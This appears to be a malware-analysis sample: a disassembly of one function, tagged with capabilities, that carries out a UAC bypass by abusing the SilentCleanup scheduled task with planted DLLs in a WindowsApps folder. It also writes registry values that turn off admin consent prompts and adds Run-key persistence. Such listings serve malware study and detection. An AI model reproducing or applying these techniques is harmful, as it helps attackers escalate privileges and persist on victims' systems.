Function at 0x180004e60
Capabilities:
Create process on windows
Persist via run registry key
Schedule task via schtasks
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x200
mov ebx, edx
xor edi, edi
lea rcx, [rsp + 0x140]
call fcn.180004d80
nop
lea r8d, [rdi + 2]
lea rdx, [0x18006a858]
lea rcx, [rsp + 0x140]
call fcn.1800077d0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], 0xf
mov byte [rsp + 0xb8], dil
lea r8d, [rdi + 0x17]
lea rdx, str.schtasks__create__xml__
lea rcx, [rsp + 0xb8]
call fcn.1800077d0
lea rcx, [rsp + 0xd8]
call fcn.180004c80
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x180004efd
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.1800077d0
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x180004f51
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004f4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057b6
call fcn.180033bb0
mov r8d, 0x20
lea rdx, str...LocalMicrosoftWindowsApps_
lea rcx, [rsp + 0xb8]
call fcn.1800077d0
mov r8d, 0x24
lea rdx, str.SilentCleanup.xml___tn_SilentCleanup
lea rcx, [rsp + 0xb8]
call fcn.1800077d0
lea rcx, [rsp + 0x118]
call fcn.180004c80
nop
mov r8d, 0x2f
lea rdx, str...LocalMicrosoftWindowsAppscleanhelper.dll
lea rcx, [rsp + 0x118]
call fcn.1800077d0
lea rcx, [rsp + 0xf8]
call fcn.180004c80
nop
mov r8d, 0x28
lea rdx, str...LocalMicrosoftWindowsAppswldp.dll
lea rcx, [rsp + 0xf8]
call fcn.1800077d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], 0xf
mov ecx, 0x40
call fcn.180033be4
mov rcx, rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], 0x31
mov qword [rsp + 0x88], 0x3f
movups xmm0, xmmword [str.C:Program_Files__x86_MicrosoftEdgeApplication]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x18006a908]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x18006a918]
movups xmmword [rax + 0x20], xmm0
movzx eax, byte [0x18006a928]
mov byte [rcx + 0x30], al
mov byte [rcx + 0x31], 0
lea rcx, [rsp + 0x180]
call fcn.180005d10
nop
lea r9, [0x18006a93b]
lea rdx, [rsp + 0x160]
mov rcx, rax
call fcn.1800072c0
nop
lea rcx, [rsp + 0x180]
call fcn.180005c20
cmp ebx, 1
jne 0x180005599
lea rax, [rsp + 0x138]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x180005145
mov dword [rsp + 0x228], edi
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x228]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 3]
xor r8d, r8d
lea rdx, str.ConsentPromptBehaviorAdmin
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x228]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 3]
xor r8d, r8d
lea rdx, str.PromptOnSecureDesktop
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x50]
call fcn.180004d80
nop
mov r8d, 8
lea rdx, str.__auto_0
lea rcx, [rsp + 0x50]
call fcn.1800077d0
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov rsi, 0xffffffffffffffff
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.180033c28
mov r14, rax
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov qword [rsp + 0x228], rdi
lea rax, [rsp + 0x228]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000525a
lea rsi, [rsi + 1]
cmp word [r14 + rsi*2], 0
jne 0x180005212
lea eax, [rsi*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
lea rdx, [0x18006a840]
mov rcx, qword [rsp + 0x228]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x228]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r14
call fcn.180033bb0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800052a1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000529b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057bc
call fcn.180033bb0
nop
lea rax, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rax, qword [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x58], rax
call fcn.180011ce0
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0xd8]
call fcn.180002c60
nop
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae rax, qword [rsp + 0x118]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x58], rax
call fcn.180011ce0
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x98]
call fcn.180002c60
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x98]
call fcn.180004af0
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x18000539b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005396
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057c2
call fcn.180033bb0
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], di
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x180005400
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800053fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057c8
call fcn.180033bb0
nop
jmp 0x180005404
lea rax, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rax, qword [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x58], rax
call fcn.180011ce0
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0xd8]
call fcn.180002c60
nop
lea rax, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae rax, qword [rsp + 0xf8]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x58], rax
call fcn.180011ce0
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x98]
call fcn.180002c60
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x98]
call fcn.180004af0
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x1800054fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800054f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057ce
call fcn.180033bb0
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], di
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x180005563
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000555d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057d4
call fcn.180033bb0
nop
jmp 0x180005567
lea rcx, [rsp + 0x140]
cmp qword [rsp + 0x158], 0x10
cmovae rcx, qword [rsp + 0x140]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__f__im_cleanmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 8
jb 0x1800055e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800055dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057da
call fcn.180033bb0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x180005622
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000561d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057e0
call fcn.180033bb0
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x18000567e
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005679
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057e6
call fcn.180033bb0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x1800056dd
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057ec
call fcn.180033bb0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x18000573c
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005737
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057f2
call fcn.180033bb0
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], 0xf
mov byte [rsp + 0xb8], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x180005797
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057f8
call fcn.180033bb0
mov eax, 1
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
nop
call fcn.18003c810
int3